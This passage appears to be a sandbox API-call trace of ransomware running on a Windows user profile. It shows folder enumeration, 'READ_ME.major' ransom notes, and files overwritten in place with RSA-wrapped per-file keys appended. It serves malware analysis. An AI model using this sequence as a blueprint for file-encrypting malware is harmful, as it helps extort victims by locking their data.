(in: hFindFile=0x2f8bfc8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.827] FindNextFileW (in: hFindFile=0x2f8bfc8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.827] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8ba48 [0194.827] FindNextFileW (in: hFindFile=0x2f8ba48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.827] FindNextFileW (in: hFindFile=0x2f8ba48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.827] FindNextFileW (in: hFindFile=0x2f8ba48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88db0 [0194.827] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8bb48 [0194.827] FindNextFileW (in: hFindFile=0x2f8bb48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.827] FindNextFileW (in: hFindFile=0x2f8bb48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.827] FindNextFileW (in: hFindFile=0x2f8bb48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.827] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8be08 [0194.827] FindNextFileW (in: hFindFile=0x2f8be08, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.828] FindNextFileW (in: hFindFile=0x2f8be08, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.828] FindNextFileW (in: hFindFile=0x2f8be08, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c540 [0194.828] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8b948 [0194.828] FindNextFileW (in: hFindFile=0x2f8b948, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.828] FindNextFileW (in: hFindFile=0x2f8b948, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.828] FindNextFileW (in: hFindFile=0x2f8b948, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.828] FindNextFileW (in: hFindFile=0x2f8b948, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.828] FindNextFileW (in: hFindFile=0x2f8b948, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f851f8 [0194.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0194.828] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.828] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85cc0 [0194.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0194.829] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb80 [0194.829] GetFileSizeEx (in: hFile=0xb80, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0194.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0194.829] ReadFile (in: hFile=0xb80, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.846] SetFilePointer (in: hFile=0xb80, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.846] WriteFile (in: hFile=0xb80, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.846] SetFilePointer (in: hFile=0xb80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.846] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.847] WriteFile (in: hFile=0xb80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.847] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.847] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jnGiazVh62sMjKvBblFXZloFPKp7pzmeZ68E+Iy76qPYEx3uD+FzHpXCqFs7eMT6\nMqXavQCkjKggRnK1BKQneXQT4VcxSCDP+sNJzv5wJOPYmBxIfXyi/qnF5slZdITI\nnIaGPGQlomO0FiF53mj1wHc4Lg5cWvjuqug7CsIhEVRjJkhv78Y0lMFjHQm7NPL2\nZoYruFDxNe6v5mpFFyLWJDMc36PUlErBguizImK8yfIaUMGENcwRZxUcL3bY0UYP\nwDf5e3K7l9WEn2XqoEEQ53QHYjVHflMZ2rfA4KLNM2SZw+1CRISS419Nuz6YeJ52\nXen7/AnE36xFhWm17j9UkQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.847] WriteFile (in: hFile=0xb80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.847] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.847] WriteFile (in: hFile=0xb80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.847] CloseHandle (hObject=0xb80) returned 1 [0194.849] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.850] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f84ac8 [0194.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0194.850] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb80 [0194.850] GetFileSizeEx (in: hFile=0xb80, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d340 [0194.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d240 [0194.850] ReadFile (in: hFile=0xb80, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.850] SetFilePointer (in: hFile=0xb80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.850] WriteFile (in: hFile=0xb80, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.851] SetFilePointer (in: hFile=0xb80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.851] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.851] WriteFile (in: hFile=0xb80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.851] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.851] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.852] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.852] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.852] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="25o53eItPRPU5EiC8UkknKLC8mETN8lFU3iYhR2IYvFD5k9IQ7Jav24udeCG05Sd\n04Wyi/+7zJBP1v1f3zYEhB5k+nt2wK2gNMgIAS7nZ3dZHr1B7qwZH440XCPdyeGc\n3xiP+2ldOYhYa7D1vcsLCp031PyVIiriVcsNDlR4/UwC09rfW4B4yaWaHY0hlvaa\nvWpAkzh3SUUKVFHxZGasGKW/paFOM7ITBzehivyHtlM3rXjVdy6rnPfx8rJe9WF/\nolORzDDYW+KCjOI4hAGO1gKIeLXrQV5/inxyv+CDV/iWqrQxp5TMrOBo82VhCVeH\nyeALhCXnJdkbDUrwvRY6FA==\n", pcchString=0x2e3f9a8) returned 1 [0194.852] WriteFile (in: hFile=0xb80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.852] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.852] WriteFile (in: hFile=0xb80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.852] CloseHandle (hObject=0xb80) returned 1 [0194.853] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8b988 [0194.853] FindNextFileW (in: hFindFile=0x2f8b988, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.853] FindNextFileW (in: hFindFile=0x2f8b988, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.853] FindNextFileW (in: hFindFile=0x2f8b988, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88db0 [0194.854] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8be48 [0194.854] FindNextFileW (in: hFindFile=0x2f8be48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.854] FindNextFileW (in: hFindFile=0x2f8be48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c069cb1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.854] FindNextFileW (in: hFindFile=0x2f8be48, lpFindFileData=0x2e3fb24 | out: 